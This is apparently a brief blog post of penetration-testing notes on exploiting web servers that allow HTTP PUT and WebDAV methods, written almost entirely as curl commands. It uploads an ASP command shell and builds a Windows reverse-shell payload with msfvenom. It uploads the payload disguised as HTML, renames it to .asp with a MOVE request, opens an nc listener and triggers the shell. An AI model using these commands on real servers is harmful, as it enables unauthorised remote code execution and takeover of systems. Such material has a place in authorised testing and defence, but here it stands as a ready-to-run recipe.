curling pages-PUT-METHOD

When the PUT method is available you can PUT files on web servers..

curl -T localfile
curl --upload-file file.html -i 
curl -i -X PUT -H "Content-Type: application/asp; charset=utf-8" -d @"cmdasp.asp"
curl -d "data to PUT" -X PUT
To delete a file..
curl -X "DELETE" 
Moving a file...
curl -X MOVE --header 'Destination:' ''
Make a directory....
curl -X MKCOL ''
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=8888 -f asp > shell2.asp --platform windows --arch x86
cp shell2.asp  shell2-asp.html
curl -T shell2-asp.html -X PUT
curl -X MOVE --header 'Destination:' ''
 nc -lvp 8888
curl '' 

No comments:

Post a Comment